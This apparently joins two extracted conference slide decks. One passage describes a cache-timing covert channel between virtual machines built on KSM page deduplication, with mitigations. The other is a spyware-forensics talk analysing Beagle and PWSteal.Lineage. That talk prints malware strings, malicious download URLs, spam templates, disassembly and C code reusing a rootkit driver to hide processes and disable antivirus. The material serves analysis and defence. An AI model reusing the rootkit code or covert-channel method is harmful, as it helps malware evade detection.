the programs wants to modify a shared page KSM kicks in and un-merge it. © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 47 NG Update Page de-duplication KSM enables the kernel to examine two or more already running programs and compare their memory. If any memory regions or pages are identical, KSM merge them into a single page physical page on bare-metal host kernel. If one of the programs wants to modify a shared page KSM kicks in and un-merge it. This is useful for virtualization with KVM. Once the guest is running the contents of the guest operating system image can be shared when guests are running the same operating system or applications. © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 48 NG Update Page table de- obfuscation © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 49 NG Update Page table de- obfuscation The idea is to create a per- page unique pattern in memory that is the same across client and server © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 50 NG Update Page table de- obfuscation The idea is to create a per- page unique pattern in memory that is the same across client and server So that on host KSM kicks in and do the page de-duplication for us © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 51 NG Update © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 52 NG Update There is no synchronization primitive across processes running in different VM ??? © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 53 NG Update There is no synchronization primitive across processes running in different VM ??? In reality there is mechanism to do that ( EX ivshmem ) but this is not enabled in production env © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 54 NG Update There is no synchronization primitive across processes running in different VM ??? In reality there is mechanism to do that ( EX ivshmem ) but this is not enabled in production env We need something to replace the mutex © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 55 NG Update Option #1 Forget about the synchronization aspect and hope for the best With error correction we can achieve some data transmission. Very low bit rates CPU consumption is low © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 56 NG Update Option #2 Busy loop on each side Client faster than Server At some point there will be an overlap and the server will pickup the signal CPU consumption is High OK bit rates We want <1% CPU usage to remain undetected. © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 57 NG Update Option #3 Define a common period ‘T’ Client-Server lock into phase © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 58 NG Update Option #3 Define a common period ‘T’ Client-Server lock into phase Server sends a sync pattern © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 59 NG Update Option #3 Define a common period ‘T’ Client-Server lock into phase Server sends a sync pattern Client sweep over the period in search for the sync © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 60 NG Update Option #3 Once the sync is found the phase is adjusted are we are ready for transmission © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 61 NG Update Option #3 Once the sync is found the phase is adjusted are we are ready for transmission For that to work we need a monotonic pulse © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 62 NG Update Option #3 Once the sync is found the phase is adjusted are we are ready for transmission. For that to work we need a monotonic pulse Some jitter but not too much ( Lots of noise in VMs data evaporates out of the cache very quickly ) © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 63 NG Update How to achieve a monotonic pulse? © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 64 NG Update How to achieve a monotonic pulse? Timers © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 65 NG Update How to achieve a monotonic pulse? Timers Why timers? We need to sleep Avoid detection ( < 1% CPU usage ) © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 66 NG Update How to achieve a monotonic pulse? Timers Why timers? We need to sleep Avoid detection ( < 1% CPU usage ) © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 67 NG Update Jitter comes from both VM © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 68 NG Update Jitter comes from both VM Too much jitter © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 69 NG Update The idea here is to do padding up to some value above the maximum jitter © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 70 NG Update The idea here is to do padding up to some value above the maximum jitter © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 71 NG Update The idea here is to do padding up to some value above the maximum jitter The problem here is that the padding is subject to noise In other word more time you spend trying to immunize yourself to noise more noise you end up accumulating © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 72 NG Update The idea here is to do padding up to some value above the maximum jitter The problem here is that the padding is subject to noise In other word more time you spend trying to immunize yourself to noise more noise you end up accumulating Padding consume CPU By stretching the timer period it’s easy to stay under 1% of CPU usage © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 73 NG Update It’s a tricky problem but at the end I got it right! © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 74 NG Update It’s a tricky problem but at the end I got it right! In short the padding is using a calibrated software loop that is kept in check with the TSC © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 75 NG Update It’s a tricky problem but at the end I got it right! In short the padding is using a calibrated software loop that is kept in check with the TSC Assume 2.4Ghz machine; On a idle system: ~50 cycle 20 nSec © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 76 NG Update It’s a tricky problem but at the end I got it right! In short the padding is using a calibrated software loop that is kept in check with the TSC Assume 2.4Ghz machine; On a idle system: ~50 cycle 20 nSec On a loaded system ~300 cycle 120 nSec © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 77 NG Update It’s a tricky problem but at the end I got it right! In short the padding is using a calibrated software loop that is kept in check with the TSC Assume 2.4Ghz machine; On a idle system: ~50 cycle 20 nSec On a loaded system ~300 cycle 120 nSec Timers: 100uSec = 240 000 cycle 10uSec = 24 000 cycle ( best case ) © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 78 NG Update Encoding / decoding based on memory access time – ( 1 = slow, 0 = fast ) Got rid of the HW prefetching (without disabling it from BIOS!) – ( randomized the access to cache lines / pages ) • Physical memory pages that are shared across VM • Thanks to KSM • PLL and high precision inter-VM synchronization • ( Compensated timer <120 nSec jitter ) Time for a demo! Recap © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 79 NG Update © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 80 NG Update © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 81 NG Update Video #2 © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 82 NG Update Video #3 © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 83 NG Update Disable page-deduplication ( KSM ) / Per-VM policy – No inter-VM shared read-only pages – Flush ‘clflush’ and reload won’t work – No OS / Application fingerprinting ( de-duplication page-fault ) – Higher memory cost X86 ‘clflush’ instruction: Privilege? – Microcode? Co-location policy ( per-core / per-socket / per-box ) Mitigation © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 84 NG Update Hardware counter Inter-VM scheduling “abnormality” TSC related “abnormality” Detection © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 85 NG Update Thank you!
pdf
Spyware Spyware Forensic With Forensic With Reversing and Static Analysis Reversing and Static Analysis PK PK TWCERT/CC TWCERT/CC 2 Abstract Abstract 目前危害個人機密資料、系統安全的惡意程式,以各種方 目前危害個人機密資料、系統安全的惡意程式,以各種方 式、無孔不入的進入我們電腦,當我們上網下載程式、接 式、無孔不入的進入我們電腦,當我們上網下載程式、接 收電子郵件等,往往會遇到不知檔案是否為惡意程式,但 收電子郵件等,往往會遇到不知檔案是否為惡意程式,但 防毒軟體也未出現警告的情況,在這場我們會講解一些案 防毒軟體也未出現警告的情況,在這場我們會講解一些案 例以及介紹靜、動態分析未知程式的技巧。 例以及介紹靜、動態分析未知程式的技巧。 About PK About PK TWCERT/CC-鑑識實務班講師 Mail: pk46(at)aptg.net 3 Outline Outline Computer Forensics Computer Forensics Why Why Spyware Spyware Forensics Forensics Reverse Code Engineering Reverse Code Engineering Anti Anti--Reversing Reversing Spyware Spyware Reversing Reversing Conclusion Conclusion 4 Computer Forensics Computer Forensics What is Computer Forensics What is Computer Forensics? ? Forensics Process Overview Forensics Process Overview 5 Computer Forensics Computer Forensics DEFINITION: DEFINITION: 電腦鑑識是一種運用專業的分析與調查技 電腦鑑識是一種運用專業的分析與調查技 術,將可能成為證據的資料 術,將可能成為證據的資料((又稱數位證據 又稱數位證據))進行收集、鑑 進行收集、鑑 別、分析與保存的一個過程,用以呈現於法院。狹義的說 別、分析與保存的一個過程,用以呈現於法院。狹義的說 就是從電腦安全事件發生後 就是從電腦安全事件發生後, ,所進行的一系列尋找數位證 所進行的一系列尋找數位證 據的活動。 據的活動。 數位證據為任何可能的資訊,並能夠以二進位 數位證據為任何可能的資訊,並能夠以二進位((數位 數位))的方 的方 式傳輸或儲存,包括:網路封包、數位照片、電子郵件、 式傳輸或儲存,包括:網路封包、數位照片、電子郵件、 記憶體資料等。 記憶體資料等。 6 Forensics Process Overview Forensics Process Overview Acquisition( Acquisition(收集 收集)) Live Data Collection (Volatile/Non- Volatile) Collecting Network-based Evidence Preservation( Preservation(保存 保存)) Forensics Duplication Evidence Handling (Hash、Tag) Identification( Identification(鑑定 鑑定)) Forensic Analysis Investigation Windows/Unix System Analyzing Network Traffic Evaluation( Evaluation(評估 評估)) Forensic Intuition/Sense Presentation( Presentation(呈現 呈現)) Writing Computer Forensic Report DFWS,2002 7 Why Why Spyware Spyware Forensics Forensics Rogue Rogue Web Sites Web Sites Rogue Application Rogue Application Spyware Spyware Forensic Forensic 8 Rogue, Bad Guy Rogue, Bad Guy Rogue Rogue Web Sites Web Sites 哪裡有流氓網站?有多流氓? 你是否知道自己上的是流氓網站? Rogue Application Rogue Application 我的電腦怪怪的,但是我又不知道發生了何事?而我的防毒軟體 也並沒有出現任何異狀或警訊! 電腦資源始終用不夠?難道我的電腦有怪獸?還是小馬? http http:// ://www.xgdown.com www.xgdown.com// http:// http://www.zerodaycn.com www.zerodaycn.com 9 Spyware Spyware Forensics Forensics DEFINITION: DEFINITION: Spyware Spyware Forensics Forensics算是 算是Computer Forensics Computer Forensics的一環,主要針 的一環,主要針 對一些未知檔案或是程式的鑑定分析, 對一些未知檔案或是程式的鑑定分析,當我們進行一些電腦安全事件調查 當我們進行一些電腦安全事件調查 時,如: 時,如:Hacking Case Hacking Case,可能會遇到駭客所部署的惡意程式,此時我們就必 ,可能會遇到駭客所部署的惡意程式,此時我們就必 須手動的鑑別出這些檔案並對其分析的過程稱為 須手動的鑑別出這些檔案並對其分析的過程稱為Spyware Spyware Forensics Forensics或稱 或稱 Malware Malware Forensics Forensics。 。 Perform Perform Static Analysis Static Analysis of of Spyware Spyware Reviewing the ASCII and Unicode strings Disassembling Code Determining Determining the Type of File the Type of File PE/NE/ELF/COFF Perform Perform Dynamic Analysis Dynamic Analysis of of Spyware Spyware Debugging Monitoring (Create the Sandbox Environment) Perform Perform Online Research Online Research Determine if the tool is publicly available on computer security or hacker sites. Perform Perform Source Code Review Source Code Review If you either have the source code or believe you have identified the source code via online research. 10 RReverse everse CCode ode EEngineering ngineering What is RCE What is RCE Type Of RCE Type Of RCE Reversing Reversing Tools Tools 11 What is RCE What is RCE Reverse engineering (RE) Reverse engineering (RE) Reverse Engineering is the process of analyzing a subject system to create representations of the system at a higher level of abstraction. The process of discovering the technological principles of a mechanical application through analysis of its structure, function and operation. Reverse Code Engineering (RCE) Reverse Code Engineering (RCE) RCE can be defined as analyzing and disassembling a software system in order understand its design, components, and inner- workings. RCE also allows us to see hidden behaviors that cannot be directly observed by running the program or those actions that have yet to be activated. 12 Types Of RCE Types Of RCE Security-Related Reversing Malicious Software Reversing Cryptographic Algorithms Digital Rights Management Auditing Program Binaries Reversing in Software Development Reversing in Software Development Achieving Interoperability with Proprietary Software Developing Competing Software Evaluating Software Quality and Robustness 13 Reversing Reversing Tools Tools Hex Editors Hex Editors UltraEdit Hex Workshop WinHex Disassemblers Disassemblers IDA Pro W32DASM Decompilers Decompilers DeDe DJ Decompiler Debuggers Debuggers OllyDbg Soft-ICE System Monitors System Monitors API Monitor FileMon RegMon PE Tools PE Tools PEiD PEDitor LoadPE 14 Anti Anti--Reversing Reversing Eliminating Symbolic Information Obfuscating the Program Embedding Anti-debugger Code Code Encryption 15 Anti Anti--Reversing Reversing Eliminating Symbolic Information Clear Symbol Name Export Functions by Ordinals Obfuscating the Program Junk code Virtual Machine Embedding Anti-debugger Code isDebuggerPresent API CreateFIleA API Code Encryption Simple XOR/ADD Encryption Packer and Protector Packing Unpacking 16 Code Encryption Simple XOR/ADD Encryption Simple XOR/ADD Encryption A xor 0 =A A xor B =C A xor C =B Packer and Protector Packer and Protector Win32 Packer ASPack PECompact UPX FSG Petite PE-PACK Win32 Protector: ASProtect ACProtect Armadillo EXECryptor EXE Stealth FoxLock Krypton tElock SDProtector Themida VMProtect Xtreme-Protector ~Advantages~ 1) The physical file size is usually smaller. 2) Resistant to the cracker. 3) Resistant to pattern-based Anti-Virus program. 17 What is Packing ( What is Packing (加殼 加殼)? )? PE File PE File Hard Disk PE File PE File packing Hard Disk Reducing Size Unpack stub Unpack stub When Execution PE File PE File Unpack stub Unpack stub Memory decompress PE File PE File When decompress ok jump to OEP PE Loader Memory Increasing Size 18 UnPacking UnPacking ((脫殼 脫殼)) Automatic Unpacking Automatic Unpacking Auto unpacking tools http://www.pediy.com/tools/unpacker.htm Manual Unpacking Manual Unpacking 1. Open Debugger and load PE File. 2. Trace program to find OEP (Original Entry Point) 1. OepFinder 2. ESP Principle 3. Manual Trace 3. Dump Process to disk 4. Rebuild IAT (Import Address Table) 5. Rebuild PE Demo Demo 19 Spyware Spyware Reversing Reversing Spyware Spyware Reversing Methodology Reversing Methodology Case Study Case Study W32.Beagle.XX(NTRootKit-W) PWSteal.Lineage 20 Spyware Spyware Reversing Methodology (6 Step) Reversing Methodology (6 Step) String Analysis String Analysis String Analysis PE Analysis PE Analysis PE Analysis Disassembling Disassembling Disassembling Debugging Debugging Debugging Decrypt String Decrypt String Decrypt String Run&Monitoring Run&Monitoring Run&Monitoring Dos Stub Strange Keyword File Name Strange URL Strange IP Registry Key Strange E-MAIL Packer Check Unpacking API Name BindPEAnalysis Prog Mechanism Function xref String xfef Import Function Export Function File Process Registry Network Program Algorithm Algorithm Reconstruction Algorithm Reconstruction Algorithm Reconstruction Step 1 Step 2 Step 3 Step 4 Step 5 Step 6 Revealing the Source Code 21 Case Study Case Study W32.Beagle.XX( W32.Beagle.XX(NTRootKit NTRootKit--W) W) Spyware Analysis Spyware Exploit PWSteal.Lineage PWSteal.Lineage Spyware Analysis Spyware Exploit 22 Case 1 Case 1: :W32.Beagle.XX( W32.Beagle.XX(NTRootKit NTRootKit--W) W) 功能: 功能: 此Rootkit通常跟隨Beagle病毒一起流竄,受感染的電腦會去指定的 網站(100多種)下載副檔名為.jpg的執行檔(事實是上是執行檔),並 會搜集感染電腦中的通訊錄並寄發Zip過的惡意程式。 此Spyware具有SMTP引擎能夠構造E-MAIL格式主動發信,不必依賴 SMTP Server,直接用被感染電腦發信。 m_hook.sys在Kernel Mode,具抵抗防毒軟體能力。 態樣: 態樣: 屬不請自來型,收到以下Mail的人通常是你的e-mail已經被獲取了。 Received: from austin.net (59-120-60-217.hinet-ip.hinet.net [59.120.60.217]) 23 W32.Beagle.XX( W32.Beagle.XX(NTRootKit NTRootKit--W) W)--Analysis Flow Analysis Flow jrcdgmmjdol.exe jrcdgmmjdol.exe jrcdgmmjdol.exe Stage 1 Stage 1 Stage 1 Stage 2 Stage 2 Stage 2 Stage 3 Stage 3 Stage 3 String Analysis String Analysis PE File Analysis PE File Analysis String Analysis String Analysis PE File Analysis PE File Analysis jrcdgmmjdol.exe jrcdgmmjdol.exe beagle_ext1.exe beagle_ext1.exe beagle_ext2.exe (Driver) beagle_ext2.exe (Driver) Disassembling Disassembling beagle_ext1.exe beagle_ext1.exe beagle_ext2.exe (Driver) beagle_ext2.exe (Driver) Step 2 Step 1 Step 2 Step 1 Step 3 Step Files Spyware 24 W32.Beagle.XX W32.Beagle.XX--Static Analysis Static Analysis--Stage 1 Stage 1 Step 1: String analysis Step 1: String analysis— —jrcdgmmjdol.exe jrcdgmmjdol.exe DOS Stub:Not Found! Strange Keyword:Not Found! FileName:kernel32.dll Step 2: PE file analysis Step 2: PE file analysis Packer Check:Not Found! API Name:LoadLibraryA、GetProcAddress Unpacking:jrcdgmmjdol.exe->un_jrcdgmmjdol.exe BindPEAnalysis:Extract 2 PE Files (beagle_ext1.exe、 beagle_ext2.exe) Go To Stage 2 Go To Stage 2 25 W32.Beagle.XX W32.Beagle.XX--Static Analysis Static Analysis--Stage 2 Stage 2 Step 1: String analysis Step 1: String analysis— — beagle_ext1.exe beagle_ext1.exe、 、 beagle_ext2.exe beagle_ext2.exe Beagle_ext1.exe DOS Stub:Not Found! Strange Keyword: FileName:temp.zip、error.gif Strange IP:217.5.97.137 Strange URL: Beagle_ext2.exe DOS Stub:!This program cannot be run in DOS mode Strange Keyword:\Device\m_hook、\DosDevices\m_hook (IsDriver ?) 、 KeServiceDescriptorTable FileName:c:\reliz\driver_rootkit2\driver\m_hook.pdb、ntoskrnl.exe Step 2: PE file analysis Step 2: PE file analysis Beagle_ext2.exe (Is Driver ?) Packer Check:Not Found! API Name:PsSetLoadImageNotifyRoutine、ZwQueryInformationFile、 ZwQueryDirectoryFile、ZwEnumerateKey、ZwUnmapViewOfSection BindPEAnalysis:Not Found! Go To Stage 3 Go To Stage 3 deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly drv_st_key \hidn \hidn1.exe m_hook.sys m_hook google.com HELO %s.net HELO %s.com HELO %s.org RSET MAIL FROM:<%s> RCPT TO:<%s> DATA .zip image/gif Date: %s To: "%s" <%s> From: "%s" <%s> Subject: %s Message-ID: <%s%s> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------%s"----------%s Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit----------%s Content-Type: application/octet-stream; name="%s%s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="%s%s" <br>The password is <img src="cid:%s.%s"><br> <br>Password -- <img src="cid:%s.%s"><br> <br>Use password <img src="cid:%s.%s"> to open archive.<br> <br>Password is <img src="cid:%s.%s"><br> <br>Zip password: <img src="cid:%s.%s"><br> <br>archive password: <img src="cid:%s.%s"><br> <br>Password - <img src="cid:%s.%s"><br> <br>Password: <img src="cid:%s.%s"><br>----------%s Content-Type: %s; name="%s.%s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="%s.%s" Content-ID: <%s.%s> <img src="cid:%s.%s"><br>----------%s-- <br> <html><body> </body></html> http://www.titanmotors.com/images/1/eml.php http://veranmaisala.com/1/eml.php http://wklight.nazwa.pl/1/eml.php http://yongsan24.co.kr/1/eml.php http://accesible.cl/1/eml.php http://hotelesalba.com/1/eml.php http://amdlady.com/1/eml.php http://inca.dnetsolution.net/1/eml.php http://www.auraura.com/1/eml.php http://avataresgratis.com/1/eml.php http://beyoglu.com.tr/1/eml.php http://brandshock.com/1/eml.php http://www.avinpharma.ru/777.gif http://ouarzazateservices.com/777.gif http://stats-adf.altadis.com/777.gif http://bartex-cit.com.pl/777.gif http://bazarbekr.sk/777.gif http://gnu.univ.gda.pl/777.gif http://bid-usa.com/777.gif http://biliskov.com/777.gif http://biomedpel.cz/777.gif http://blackbull.cz/777.gif 26 W32.Beagle.XX W32.Beagle.XX--Static Analysis Static Analysis--Stage 3 Stage 3 Step 3 Step 3: :Disassembling Disassembling -- beagle_ext1.exe beagle_ext1.exe 27 W32.Beagle.XX W32.Beagle.XX--Static Analysis Static Analysis--Stage 3(Count.) Stage 3(Count.) Step 3 Step 3: :Disassembling Disassembling -- beagle_ext1.exe (Startup Driver) beagle_ext1.exe (Startup Driver) 28 W32.Beagle.XX W32.Beagle.XX--Exploit Exploit Spyware Spyware Reuse Reuse Rootkit Rootkit: : //SSDT Hook //SSDT Hook #define IOCTL_M_HOOK_1 #define IOCTL_M_HOOK_1 \\ CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_READ_ CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_READ_ACCESS+FILE_WRITE_ACCESS) ACCESS+FILE_WRITE_ACCESS) //Hidden Process //Hidden Process #define IOCTL_M_HOOK_2 #define IOCTL_M_HOOK_2 \\ CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_READ_ CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_READ_ACCESS+FILE_WRITE_ACCESS) ACCESS+FILE_WRITE_ACCESS) //Hidden Directory //Hidden Directory #define IOCTL_M_HOOK_3 #define IOCTL_M_HOOK_3 \\ CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_BUFFERED, FILE_READ_ CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_BUFFERED, FILE_READ_ACCESS+FILE_WRITE_ACCESS) ACCESS+FILE_WRITE_ACCESS) //Registry //Registry #define IOCTL_M_HOOK_5 #define IOCTL_M_HOOK_5 \\ CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_BUFFERED, FILE_READ_ CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_BUFFERED, FILE_READ_ACCESS+FILE_WRITE_ACCESS) ACCESS+FILE_WRITE_ACCESS) char * char *tmp tmp[]={" []={"notepad.exe notepad.exe","regedit.exe"," ","regedit.exe","calc.exe calc.exe"," ","HIT2006 HIT2006","cmd.exe","nod32krn.exe","KAV.exe"}; ","cmd.exe","nod32krn.exe","KAV.exe"}; // File Pr // File Process Registry ocess Registry DeviceIoControl(hFile,IOCTL_M_HOOK_2,tmp[2], sizeof(tmp),NULL,0, DeviceIoControl(hFile,IOCTL_M_HOOK_2,tmp[2], sizeof(tmp),NULL,0,&BytesReturned,NULL);// &BytesReturned,NULL);//process process DeviceIoControl(hFile,IOCTL_M_HOOK_3,tmp[0], sizeof(tmp),NULL,0, DeviceIoControl(hFile,IOCTL_M_HOOK_3,tmp[0], sizeof(tmp),NULL,0,&BytesReturned,NULL);// &BytesReturned,NULL);//directory directory DeviceIoControl(hFile,IOCTL_M_HOOK_5,szWideProgID, sizeof(szWide DeviceIoControl(hFile,IOCTL_M_HOOK_5,szWideProgID, sizeof(szWideProgID),NULL,0,&BytesReturned,NULL) // ProgID),NULL,0,&BytesReturned,NULL) //registry registry DeviceIoControl(hFile,IOCTL_M_HOOK_7,tmp[5], sizeof(tmp),NULL,0, DeviceIoControl(hFile,IOCTL_M_HOOK_7,tmp[5], sizeof(tmp),NULL,0,&BytesReturned,NULL);//anti &BytesReturned,NULL);//anti--virus virus prog prog DeviceIoControl(hFile,IOCTL_M_HOOK_1,NULL,0,NULL,0,&BytesReturne DeviceIoControl(hFile,IOCTL_M_HOOK_1,NULL,0,NULL,0,&BytesReturned,NULL); d,NULL); DEMO DEMO 29 Case 2 Case 2: :PWSteal.Lineage PWSteal.Lineage 功能: 功能: 紀錄使用者IE連線與線上遊戲帳號及密碼,並傳送到指定的E-mail。 態樣: 態樣: 多從即時通訊軟體發送類似如下的訊息: 未來的人類生活,是甚麼模樣?日本東京科學博物館,就把將在未來幾 10年內,走進人類生活的科技,做了完整展示 http://kaixin.w67a.chinanetidc.com/X-Box.scr 好久沒上線拉,最近還好嗎?一上線就看見到這個 http://kaixin.w67a.chinanetidc.com/diany.scr 是你發的嗎?粉好耶!謝謝 喔! 30 PWSteal.Lineage PWSteal.Lineage--Analysis Flow Analysis Flow diany.scr diany.scr diany.scr Stage 1 Stage 1 Stage 1 Stage 2 Stage 2 Stage 3 Stage 3 Stage 3 String Analysis PE File Analysis String Analysis PE File Analysis diany.scr diany.scr Lineage_ext1.exe Lineage_ext1.exe Lineage_ext2.exe Lineage_ext2.exe String Analysis PE File Analysis Lineage_Unext2.exe Lineage_Unext2.exe Lineage_ext3.exe Lineage_ext3.exe Disassembling Disassembling Stage 4 Stage 4 Stage 4 diany.scr diany.scr Stage 5 Stage 5 Stage 5 Debugging Debugging Lineage_Unext2.exe Lineage_Unext2.exe Stage 6 Stage 6 Stage 6 Decrypt String Decrypt String String Analysis String Analysis Lineage_Unext2.exe Lineage_Unext2.exe Lineage_ext3.exe Lineage_ext3.exe Step 2 Step 1 Step 2 Step 1 Step 3 Step 2 Step 1 Step 4 Step 5 Step 1 Stage 7 Stage 7 Stage 7 Run&Monitoring Run&Monitoring diany.scr diany.scr Step 6 Step Files Spyware 31 PWSteal.Lineage PWSteal.Lineage--Static Analysis Static Analysis--Stage 1 Stage 1 Step 1: String analysis Step 1: String analysis— —diany.scr diany.scr DOS Stub:MZ、This program must be run under Win32 Strange Keyword:EXEpack、Adobe Photoshop 7.0(2006:05:08 14:01:31) FileName:1.exe、ttt.jpg Step 2: PE file analysis Step 2: PE file analysis Packer Check:Borland Delphi 6.0 - 7.0 [Overlay] API Name:WriteFile、ReadFIle、ShellExecuteA、 CreateProcessA BindPEAnalysis:Extract 2 PE Files (Lineage_ext1.exe、 Lineage_ext2.exe) Go To Stage 2 Go To Stage 2 32 PWSteal.Lineage PWSteal.Lineage--Static Analysis Static Analysis--Stage 2 Stage 2 Step 1: String analysis Step 1: String analysis— —Lineage_e Lineage_ext1.exe xt1.exe、 、Lineage_e Lineage_ext2.exe xt2.exe DOS Stub: Lineage_ext1.exe:MZP This program must be run under Win32 Strange Keyword: Lineage_ext1.exe:SOFTWARE\Borland\Delphi\RTL、EXEpack Lineage_ext2.exe:ByDwing FileName: Lineage_ext1.exe:.jpg、.bmp、.EXE Step 2: PE file analysis Step 2: PE file analysis Packer Check: Lineage_ext1.exe:Borland Delphi 6.0 - 7.0 Lineage_ext2.exe:Upack 2.4 - 2.9 beta -> Dwing Unpacking:Lineage_ext2.exe -> Lineage_Unext2.exe BindPEAnalysis:Lineage_Unext2.exe Extract 1 File (Lineage_ext3.exe) Go To Stage 3 Go To Stage 3 33 PWSteal.Lineage PWSteal.Lineage--Static Analysis Static Analysis--Stage 3 Stage 3 Step 1: String analysis Step 1: String analysis— —Lineage_ext3.exe Lineage_ext3.exe DOS Stub: Lineage_ext3.exe :This program must be run under Win32 Strange Keyword: Lineage_ext3.exe:tbMainAccountID、tbMainAccountPassword、 tbPasswordHint、tbGoodLockID FileName: Lineage_ext3.exe:J_.EXE、d1.dat、d2_.exe、PDLL.dll Step 2: PE file analysis Step 2: PE file analysis Packer Check: Lineage_ext3.exe:Not a valid PE file (Why?) API Name: Lineage_Unext2.exe:CreateToolhelp32Snapshot、Process32First、Process32Next Lineage_ext3.exe:SetWindowsHookExA、UnhookWindowsHookEx Lineage_ext3.exe:2 Export Function->JSta、JStb (IsDll ?) BindPEAnalysis:None Go To Stage 4 Go To Stage 4 127.0.0.1 sendemail sendemail-connect ehlo vip Rset MAIL FROM: RCPT TO: < DATA Message-Id: <[email protected]> From: To: Subject: X-Mailer: <FOXMAIL 4.0> MIME-Version: 1.0 Content-Type: text/html; charset="GB2312" QUIT HELO auth LOGIN MAIL FROM: RCPT TO: < DATA Message-Id: <[email protected]> From: To: Subject: X-Mailer: <FOXMAIL 4.0> MIME-Version: 1.0 Content-Type: text/html; charset="GB2312" QUIT 34 PWSteal.Lineage PWSteal.Lineage--Static Analysis Static Analysis--Stage 4 Stage 4 Step 3 Step 3: :Disassembling Disassembling --diany.scr diany.scr diany.src diany.src is a Dropper is a Dropper CODE:00403E39 mov ecx, 2 ; dwMoveMethod CODE:00403E3E mov edx, 0FFFFF6B4h ; lDistanceToMove CODE:00403E43 mov eax, [ebp+hFile] ; hFile CODE:00403E46 call FileSeek(int,int,int) CODE:00403E4B lea edx, [ebp+var_896C] ; lpBuffer CODE:00403E51 mov ecx, 94Ch ; nNumberOfBytesToRead CODE:00403E56 mov eax, [ebp+hFile] ; hFile CODE:00403E59 call sub_403C6C CODE:00403E5E cmp eax, 94Ch CODE:00403E63 jnz loc_40421C CODE:00403E69 lea eax, [ebp+var_896C] CODE:00403E6F mov edx, offset aExepack ; "EXEpack" CODE:00403E74 xor ecx, ecx CODE:00403E76 mov cl, [eax] CODE:00403E78 inc ecx CODE:00403E79 call AStrCmp(void) ……………. ……………. ……………. ……………. CODE:00404136 push eax ; lpFile CODE:00404137 push offset @Consts@_16386 ; lpOperation CODE:0040413C push 0 ; hwnd CODE:0040413E call ShellExecuteA CODE:00403FA6 loc_403FA6: CODE:00403FA6 mov eax, [ebp+var_1C] CODE:00403FA9 mov eax, [eax] CODE:00403FAB sub [ebp+lDistanceToMove], eax CODE:00403FAE mov ecx, 2 ; dwMoveMethod CODE:00403FB3 mov edx, [ebp+lDistanceToMove] CODE:00403FB6 mov eax, [ebp+hFile] ; hFile CODE:00403FB9 call FileSeek(int,int,int) CODE:00403FBE lea eax, [ebp+var_8988] CODE:00403FC4 mov edx, [ebp+var_20] CODE:00403FC7 call unknown_libname_11 ; CODE:00403FCC mov ecx, [ebp+var_8988] CODE:00403FD2 lea eax, [ebp+var_8984] CODE:00403FD8 mov edx, [ebp+var_14] CODE:00403FDB call LStrCat3(void) CODE:00403FE0 mov eax, [ebp+var_8984] CODE:00403FE6 call FileCreate(System::AnsiString) CODE:00403FEB mov [ebp+hObject], eax CODE:00403FEE cmp [ebp+hObject], 0FFFFFFFFh CODE:00403FF2 jz short loc_404060 CODE:00403FF4 xor edx, edx CODE:00403FF6 push ebp CODE:00403FF7 push offset loc_40404E CODE:00403FFC push dword ptr fs:[edx] CODE:00403FFF mov fs:[edx], esp CODE:00404002 CODE:00404002 loc_404002: CODE:00404002 mov eax, [ebp+var_1C] CODE:00404005 mov eax, [eax] CODE:00404007 mov edx, 8000h CODE:0040400C call sub_404368 CODE:00404011 mov ecx, eax ; nNumberOfBytesToRead CODE:00404013 lea edx, [ebp+Buffer] ; lpBuffer CODE:00404019 mov eax, [ebp+hFile] ; hFile CODE:0040401C call sub_403C6C CODE:00404021 mov ebx, eax CODE:00404023 mov eax, 